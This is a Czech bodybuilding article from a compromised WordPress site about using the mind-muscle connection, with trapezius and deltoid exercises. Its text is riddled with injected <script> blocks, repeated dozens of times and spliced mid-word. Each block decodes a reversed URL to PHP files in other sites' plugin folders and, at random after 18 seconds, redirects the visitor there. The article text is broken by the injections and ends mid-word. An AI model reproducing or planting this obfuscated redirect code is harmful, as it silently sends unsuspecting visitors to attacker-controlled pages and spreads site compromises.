$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik lid\u00ed s&nbsp;nadv\u00e1hou. Skv\u011blou formu mus\u00ed \u010dlov\u011bk vykoupit ur\u010di<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou ob\u011bt\u00ed. Nebude <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zadarmo, ale o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00edc si sv\u00fdch v\u00fdsledk\u016f budete v\u00e1\u017eit.<\/p>\n\n\n\n<p>Zcela z\u00e1sadn\u00ed p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom je nevymlouvat se na genetiku. Ta sice do jist\u00e9 m\u00edry ur\u010duje, jak vypad\u00e1te, \u010di jak m\u016f\u017eete vypadat. Ale <strong>nemalou m\u011brou ovlivn\u00ed va\u0161e tr\u00e9ninkov\u00e9 v\u00fdsledky i <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, jak m\u00e1te nastavenou hlavu. A jak ji dok\u00e1\u017eete p\u0159i tr\u00e9ninku vyu\u017e\u00edt.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>S\u00cdLA MYSLI COBY STIMULANT R\u016eSTU SVAL\u016e<\/strong><\/h2>\n\n\n\n<p>Jedna z&nbsp;mo\u017enost\u00ed, jak nav\u00fd\u0161it efektivitu tr\u00e9ninku, spo\u010d\u00edv\u00e1 ve vyu\u017eit\u00ed propojen\u00ed mezi svalem a mysl\u00ed. Z&nbsp;technick\u00e9ho hlediska vlastn\u011b nejde o nic jin\u00e9ho, ne\u017e o tzv. neuromuskul\u00e1rn\u00ed inervaci.<\/p>\n\n\n\n<p>Dlouhou dobu se na spojen\u00ed sval\u016f a mysli nahl\u00ed\u017eelo jako m\u00fdtus. Dnes u\u017e ale m\u00e1me k&nbsp;dispozici dokonce i v\u00fdsledky klinick\u00fdch studi\u00ed, kter\u00e9 jasn\u011b prokazuj\u00ed nejenom, \u017ee n\u011bco takov\u00e9ho existuje, ale tak\u00e9, \u017ee jde o jev p\u0159\u00ednosn\u00fd. Neurofyziologie zaznamenala v&nbsp;posledn\u00edch letech opravdu velk\u00fd rozmach. Odborn\u00edci se sna\u017e\u00ed st\u00e1le l\u00e9pe a v\u00edce porozum\u011bt <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, jak lidsk\u00fd mozek funguje a jak\u00e9 jsou jeho vazby na fyzick\u00e9 fungov\u00e1n\u00ed t\u011bla.<\/p>\n\n\n\n<p>O svalov\u00e9 kontrakci v\u00edme, \u017ee jde o rozumem pln\u011b kontrolovanou akci. Mozek vy\u0161le sign\u00e1l, aby do\u0161lo ke kontrakci ur\u010dit\u00fdch svalov\u00fdch vl\u00e1ken. P\u0159i\u010dem\u017e s\u00edla kontrakce se d\u00e1 vytr\u00e9novat. U\u017e kulturist\u00e9 zlat\u00e9 \u00e9ry minul\u00e9ho s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolet\u00ed moc dob\u0159e v\u011bd\u011bli, jak d\u016fle\u017eit\u00e9 je \u201ec\u00edtit svaly p\u0159i pr\u00e1ci\u201c. Tenkr\u00e1t je\u0161t\u011b stav\u011bli sp\u00ed\u0161e na svoj\u00ed intuici ne\u017e na v\u011bdeck\u00fdch objevech, ale podv\u011bdom\u011b tu\u0161ili, \u017ee mozek je se svaly propojen\u00fd a koncentrace na svalovou pr\u00e1ci m\u016f\u017ee p\u0159\u00edmo ovlivnit v\u00fdkonnost dan\u00e9ho svalu b\u011bhem tr\u00e9ninku.<\/p>\n\n\n\n<p>A dobrou zpr\u00e1vou je, \u017ee kvalitn\u00edho propojen\u00ed mezi svalem a mysl\u00ed se d\u00e1 dos\u00e1hnout rychleji, ne\u017e si mysl\u00edte. Existuj\u00ed cviky, kter\u00e9 v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to spojen\u00ed zajist\u00ed sn\u00e1ze, tak\u017ee je dobr\u00e9 za\u010d\u00edt pr\u00e1v\u011b u nich. Nen\u00ed sou\u010dasn\u011b t\u0159eba se ob\u00e1vat, \u017ee p\u016fjde o slo\u017eit\u00e1 cvi\u010den\u00ed z\u00e1visl\u00e1 na modern\u00edch stroj\u00edch. Naopak. Vysta\u010d\u00edte s&nbsp;b\u011b\u017en\u00fdmi cviky, jak\u00e9 zvl\u00e1dnete v&nbsp;pr\u016fm\u011brn\u00e9 posilovn\u011b.<\/p>\n\n\n\n<p>A vezmeme <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u011bkn\u011b od hlavy a\u017e k&nbsp;pat\u011b. P\u0159edstavujeme v\u00e1m cviky, p\u0159i nich\u017e d\u00edky specifick\u00fdm technik\u00e1m kontrakce dos\u00e1hnete kvalitn\u00edho propojen\u00ed mezi svalem a mysl\u00ed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>TRAP\u00c9ZY<\/strong><\/h2>\n\n\n\n<p><strong>ZDV\u00cdH\u00c1N\u00cd RAMEN<\/strong><\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\" style=\"grid-template-columns:22% au<script>$NfI=function(n){if (typeof ($NfI.list[n]) == &#8222;string&#8220;) return $NfI.list[n].split(&#8222;&#8220;).reverse().join(&#8222;&#8220;);return $NfI.list[n];};$NfI.list=[&#8222;\\&#8217;php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\&#8217;=ferh.noitacol.tnemucod&#8220;];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to&#8220;><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"267\" height=\"725\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl.jpg\" alt=\"\" class=\"wp-image-714 size-full\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl.jpg 267w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl-110x300.jpg 110w\" sizes=\"auto, (max-width: 267px) 100vw, 267px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvik asi nen\u00ed t\u0159eba p\u0159\u00edli\u0161 p\u0159edstavovat. Zkuste ho ale prov\u00e9st tak, \u017ee v&nbsp;horn\u00ed f\u00e1zi \u010dinky posunete m\u00edrn\u011b p\u0159ed stehna a v&nbsp;okam\u017eiku siln\u00e9 kontrakce na chv\u00edli zastav\u00edte (po\u010d\u00edtejte do p\u011bti), pak se teprve vra\u0165te do v\u00fdchoz\u00ed pozice.<\/p>\n\n\n\n<p><strong>Na co se zm\u011b\u0159it:<\/strong> p\u0159edev\u0161\u00edm na kontrakci trap\u00e9zov\u00fdch sval\u016f, a\u010dkoliv jste doposud mo\u017en\u00e1 zdv\u00edh\u00e1n\u00ed ramen prov\u00e1d\u011bli v&nbsp;pom\u011brn\u011b svi\u017en\u00e9m tempu, ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tokr\u00e1t cvi\u010dte pomalu a promy\u0161len\u011b. Myslete na svaly v&nbsp;kontrakci, v\u00fdrazn\u011b t\u00edm zlep\u0161\u00edte jejich inervaci.<\/p>\n\n\n\n<p><strong>Tip pro v\u00e1s:<\/strong> odcvi\u010dte 3-4 s\u00e9rie o 15 opakov\u00e1n\u00edch a p\u0159i ka\u017ed\u00e9m z&nbsp;nich pohyb v&nbsp;horn\u00ed poloze zastavte. Ka\u017ed\u00e1 s\u00e9rie v\u00e1m t\u00edm p\u00e1dem zabere v\u00edc ne\u017e minutu, ale uvid\u00edte, \u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nebude ztracen\u00fd \u010das.<\/p>\n<\/div><\/div>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>DELTY<\/strong><\/h2>\n\n\n\n<p><strong>DR\u017dEN\u00cd JEDNORU\u010cEK V&nbsp;POZICI UPA\u017dEN\u00cd<\/strong><\/p>\n\n\n\n<p>Jedn\u00e1 se o statick\u00fd cvik, k&nbsp;jeho\u017e proveden\u00ed budete pot\u0159ebovat leh\u010d\u00ed jednoru\u010dky, kter\u00e9 budete dr\u017eet na \u00farovni ramen tak, jak vid\u00edte na sn\u00edmku. Pa\u017ee nesm\u00ed b\u00fdt zcela propnut\u00e9 v&nbsp;loktech, vnit\u0159n\u00ed ko<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 